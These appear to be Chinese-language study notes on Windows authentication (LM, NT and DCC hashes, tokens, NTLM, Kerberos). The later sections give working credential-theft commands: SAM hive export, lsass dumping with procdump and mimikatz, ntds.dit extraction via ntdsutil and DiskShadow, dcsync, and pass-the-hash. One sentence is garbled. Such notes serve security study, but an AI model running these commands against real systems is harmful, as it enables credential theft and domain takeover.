Windows 身份认证

23

认证过程

winlogon.exe -> 接收用户输入 -> isass.exe (哈希) -> 认证 (在 SAM 数据库比对)

存储位置

本地 SAM

%SystemRoot%\system32\config\sam

查看这个文件需要 system 权限

注册表中的位置:

HKEY_LOCAL_MACHINE\SAM\SAM

HKEY_LOCAL_MACHINE\SECURITY\SAM

存储在 Active Directory 中的密码

静态密码存储在 Active Directory 数据库 (NTDS.DIT 文件) (域控)

Active Directory 属性内容
unicodePwd加密的 NT 哈希
dbcsPwd加密的 LM 哈希
ntPwdHistory加密的 NT 哈希 - 密码历史记录
lmPwdHistory加密的 LM 哈希 - 密码历史记录
supplementalCredentialsKerberos 密钥、WDigest 等.

域缓存凭据

HKLM\SECURITY\Cache

mscash

加密算法

LM Hash

LAN Manager Hash

在 XP, server 2003 中默认使用

生成规则

  1. 密码长度最多 14 个字符
  2. 密码不足 14 字节补 0
  3. 密码转换为大写
  4. 密码分成两个 7 字节的密钥
  5. 每个密钥将作为 DESKEY 对魔术字符串 "KGS!@#$%" 进行标准 DES 加密
  6. 将加密后的两组数据拼接得到最后的 LM Hash

漏洞

  1. 密码长度只有 14 位
  2. 密码不区分大小写
  3. 使用分组 DES, 如果密码强度小于 7 位, 那么第二个分组加密后的结果一定是 aad3b435b51404ee
  4. 将密码分成两个部分, 降低了破解难度
  5. DES 密码强度不高

NT Hash

生成规则

  1. 14 位密码
  2. 将输入的密码转换为十六进制
  3. Unicode 转换
  4. 调用 MD4 加密得到最后的 NT Hash

与 LM 相比, 不需要补齐, 大小写敏感, MD4 破解难度大

Mscache Hash

域用户登录域内机器时, 留下的域缓存凭据的密码加密方式, 又称 DCC Hash. 根据版本不同, 分为 DCC1 和 DCC2. Vista 之前保存的是 DCC1, 之后是 DCC2

位置: HKLM\SECURITY\Cache

工作原理

连上域控时, 机器登录后, 系统会将凭据以授权信息保存在注册表中, 默认保存最新 10 个凭据

凭据被缓存在注册表的这些用户, 在机器连不上域控的时候也可以登录这台机器, 没有缓存则不可以登录

生成规则

DCC1 = MD4 (NT Hash + LowerUnicode(username))

DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))

解密

  1. 得到 bootkey
  2. 利用 bootkey 解密 LSA Key
  3. 利用 LSA Key 解密 NLKM Key
  4. 利用 NLKM Key 解密 MSCACHE
数据位置算法Key
MSCACHEHKLM\SECURITY\CacheAES-CTSNLKM Key
NLKM Key注册表 LSA Secrets 区域AES变形后的 LSA Key
LSA KeyHKLM\SECURITY\Policy\PolEKListAES变形后的 boot key
bootkeyHKLM\System\CurrentControlSet\Control\Lsa

bootkey 分成了 4 个部分

HKLM\System\CurrentControlSet\Control\Lsa\JD

HKLM\System\CurrentControlSet\Control\Lsa\Skew1

HKLM\System\CurrentControlSet\Control\Lsa\Data

HKLM\System\CurrentControlSet\Control\Lsa\GBG

访问令牌

Access Token

描述进程或者线程安全的一个对象, 存储在内存中

不同用户登录计算机后, 都会生成一个 Access Token, 这个 Token 在用户创建进程或者线程时会被使用

当进程或者线程需要访问某个具有安全属性的对象时, OS 会根据 Tokent 在该对象的访问控制列表里进行搜索, 从而决定用户或者用户所在的组对该对象是否具有访问权限

两种:

  • 主令牌. 每一个进程都有一个唯一的主令牌, 进程通过主令牌被开启
  • 模拟令牌. 在默认情况下, 线程被开启时, 所在的进程的主令牌会自动附加到当前线程上, 作为线程的安全上下文. 而线程可以运行在另一个非主令牌的访问令牌下执行, 这个令牌就叫做模拟令牌. 指定线程模拟令牌的过程称为模拟

主令牌是由 windows 内核创建并分配给进程的默认访问令牌, 每一个进程有一个主令牌, 它描述了与当前进程相关的用户帐户的安全上下文. 同时, 一个线程可以模拟一个客户端帐户, 允许此线程与安全对象交互时用客户端的安全上下文. 一个正模拟客户端的线程拥有一个主令牌和一个模拟令牌

令牌会在系统关机重启后全部清除

权限低的账号无法看到权限高的访问令牌

令牌组成

  • 用户 (User). 用户账号的SID. 若用户登录到本地计算机上的一个账号, 则他的 SID来自于本地SAM维护的账号数据库; 若用户登录到一个域账号, 则他的SID来自于活动目录里用户对象的Object-SID属性
  • 组 (Groups). 包含该用户的安全组的SID列表, 表中也包含代表活动目录里用户 账号的用户对象的SID-History属性里的SID
  • 特权 (Privileges). 用户和用户的安全组在本地计算机上拥有的特权列表
  • 所有者 (Owner). 特定用户或安全组的SID, 这些用户或安全组默认成为用户所 创建或拥有的任何对象的所有者
  • 主组 (Primary Group). 用户的主安全组的SID. 这个信息只由POSIX子系统使用, Windows 2000的其他部分对其忽略
  • 默认任意访问控制表 (Default Discretionary Access Control List, DACL). 一组内置 许可权. 在没有其他访问控制信息存在时操作系统将其作用于用户所创建的对象. 默认DACL向创建所有者和系统赋予完全控制 (Full Control) 权限
  • 源 (Source). 导致访问令牌被创建的进程, 例如会话管理器、LAN管理器或远程 过程调用 (RPC) 服务器
  • 类型 (Type). 指示访问令牌是主 (primary) 令牌还是模拟 (impersonation) 令牌. 主令牌代表一个进程的安全上下文; 模拟令牌是服务进程里的一个线程, 用来临时接受一个不同的安全上下文 (如服务的一个客户的安全上下文) 的令牌
  • 模拟级别 (Impersonation Level). 指示服务对该访问令牌所代表的客户的安全上下 文的接受程度
  • 统计信息 (Statistics). 关于访问令牌本身的信息. 操作系统在内部使用这个信息
  • 限制SID (Restricting SID). 由一个被授权创建受限令牌的进程添加到访问令牌里 的可选的SID列表. 限制SID可以将线程的访问限制到低于用户被允许的级别
  • 会话ID (Session ID). 指示访问令牌是否与终端服务 (Terminal Services) 客户会 话相关

获取令牌

  • mimikatz

伪造令牌

  • Metaspolit 中的 incognito
  • Windows 平台下的 incognito 工具
  • mimikatz. token::list
  • CobaltStrike

权限

使用 RID 识别

相同权限组不同的 RID 所拥有的权限是buyiyhjde

初始默认的 administrator 用户 RID 为 500, 普通管理员组用户的权限并不是 500, administrator 的权限大于普通管理员组用户

网络协议认证

NTLM

NTLM 是一种网络认证协议, 是基于 Chalenge/Response 认证机制的一种认证模式

NTLM 只能嵌入到上层协议, 不能作为单独的应用层

认证过程

三种消息:

  1. type 1 协商, 主要用于确认双方协议版本
  2. type 2 质询, Chanlenge/Response 认证机制
  3. type 3 验证, 验证客户端的 Response 和 生成的 Challenge1 是否相同

质询过程:

  1. 客户端向服务器发送用户信息 (用户名) 请求
  2. 服务器接收到请求, 判断本地账户列表是否有用户名, 如果有, 生成一个 16 位的随机数, 这称为 Challenge, 使用登录用户名对应的 NTLM Hash 加密 Challenge, 生成 Challenge1. 生成一个 Net-NTLM Hash 存在内存中, 同时, 生成 Challenge1 后, 将 Challenge 发送给客户端
  3. 客户端接收到 Challenge 后, 使用将要登录到账户对应的 NTLM Hash 加密 Challenge 生成 Response, 然后将 Response 发送给服务器

经过 NTLM Hash 加密的 Challenge 的结果在网络协议中称为 Net NTLM Hash

Kerberos

域认证

三个角色:

  1. 访问服务的 Client
  2. 提供服务的 Server
  3. KDC 密钥分发中心

KDC 服务默认会安装在一个域的域控中, 而 Client 和 Server 为域内的用户或者服务, 如 HTTP 服务. 在 Kerberos 中 Client 是否有权限访问 Server 端的服务, 由 KDC 发放的票据决定

TGT

Ticket Granting Ticket

由身份认证服务 AS (Authentication Service) 授予的票据, 用户身份认证, 存储在内存中, 默认有效时间为 10 小时, 通过 TGT 能够获得票据 (Ticket), TGP 是一种临时凭证, 伪造的 TGT 被称为黄金票据

票据

Server Ticket / Ticket

网络对象互相访问的凭证, 伪造的 ST / Ticket 被称为白银票据

KDC

Key Distribution Center

负责管理票据, 认证票据, 分发票据

KDC 由以下两个服务组成:

  • AS (Authentication Service): 身份认证服务, 为 Client 生成 TGT, 依据 AD
  • TGS (Ticket Granting Service): 票据授予服务, 为 Client 生成某个服务的 Ticket

AD

Account Database

一个类似于本机 SAM 的一个数据库, 存储所有 Client 的白名单, 只有存在于白名单的 Client 才能顺利申请到 TGT

域认证流程

简述

kerberos_environment
  1. Client 向 Kerberos 服务请求, 希望获取访问 Server 的权限
  2. Kerberos 收到请求, 判断 Client 是否是可信赖的 (AS 通过 AD 中的黑名单/白名单区分 Client), 成功后 AS 返回 TGT 给 Client
  3. Client 得到 TGT 后, 继续向 Kerberos 请求, 希望获取访问 Server 的权限
  4. Kerberos 收到请求, 通过 Client 消息中的 TGT, 判断出 Client 拥有这个权限, 给 Client 访问 Server 的权限 Ticket
  5. Client 的到 Ticket 后, 此时已经可以访问服务器
  6. 这个 Ticket 只是针对这个 Server, 访问 Service 需要向 TGS 申请

详细流程

  1. AS_REQ: Client 向 KDC 发起 AS_REQ, 请求凭据是 Client hash 加密的时间戳
  2. AS_REP: KDC 使用 Client hash 进行解密, 如果结果正确就返回用 krbtgt hash 加密的 TGT 票据, TGT 中包含 PAC, PAC 包含 Client 的 SID 和 Client 所在的组
  3. TGS_REQ: Client 凭借 TGT 票据向 KDC 发起针对特定 Server 的 TGS_REQ 请求
  4. TGS_REP: KDC 使用 krbtgt hash 进行解密, 如果结果正确, 就返回用 Server hash 加密的 TGS 票据 Ticket (不管 Client 有没有访问 Server 的权限, 只要 TGT 正确就返回 TGS 票据 Ticket)
  5. AP_REQ: Client 用 Ticket 请求 Server
  6. AP_REP: Server 使用自己的 hash 解密 Ticket. 如果解密正确, 就用 PAC 到 KDC 询问 Client 有没有访问权限, 域控解密 PAC. 获取 Client 的 SID, 以及所在的组, 再根据该服务的 ACL, 判断 Client 是否有访问 Service 的权限

获取用户凭证

本地

通过 SAM 文件获取

reg save hklm\sam C:\sam.hive
reg save hklm\system C:\system.hive

读取 Isass 内存

使用 procdump

procdump64.exe -accepteula -ma lsass.exe filename

也可以直接使用任务管理器创建转储文件

生成的文件使用 mimikatz 破解

mimikatz # sekurlsa::minidump filename
mimikatz # sekurlsa::logonPasswords full

ntdsutil 域快照

ntdsutil 用于让管理员能够轻松访问 Active Directory

可以通过此工具获取现有的 ntds.dit 文件快照

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

DiskShadow

用于协助管理员执行与卷影复制服务VSS相关的操作

此程序的会自动执行 ntds.dit 提取过程所需的所有命令, 使用这个特性可以完成提取

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds\ntds.dit
delete shadows volume %someAlias%
reset

这个程序必须从 C:\Windows\System32 路径中运行, 同时文件保存必须是 ASCII 编码

复制解密 ntds 文件内容所需的密钥

reg.exe save hklm\system c:\ntds\system.bak

Mimikatz

Mimikatz 有一个功能 dcsync, 利用目录复制服务 DRS 从 NTDS.DIT 文件中检索密码哈希值. 该技术消除了直接从域控制器进行认证的必要性, 因为它可以以域管身份在域的任意系统执行, 或是使用黄金票据从任意可连接到域控的服务器执行

lsadump::dcsync /domain:aptlab.com /all /csv

通过 /user 指定域用户名, 会将指定用户的所有账户信息转储, 包括哈希值

lsadump::dcsync /domain:pentestlab.local /user:test

ntds文件解密

NtdsAudit, Impacket-secretsdump, Quarks PwDump 等等

NTLM 协议攻击

Hash 传递攻击

Pass The Hash PTH

由于 NTLM 验证过程中在 type 3 阶段计算 response 的时候客户端是使用用户的 hash 进行计算, 而不是用户密码. 因此在模拟用户登录时不需要用户明文密码, 只需要 hash

如果有 kb2871997 补丁, PTH 会被限制. 如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy 项存在 (默认不存在) 且配置为 1 , 未过滤的非 RID 500 的账户可以成功传递 hash

mimikatz:

privilege::debug
sekurlsa::pth /user:win10 /domain:test.local /ntlm:6a6293bc0c56d7b9731e2d5506065e4a

impacket

psexec.py

smbexec.py

atexec.py

wmiexec.py

dcomexec.py

python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress

msf

use exploit/windows/smb/psexec_psh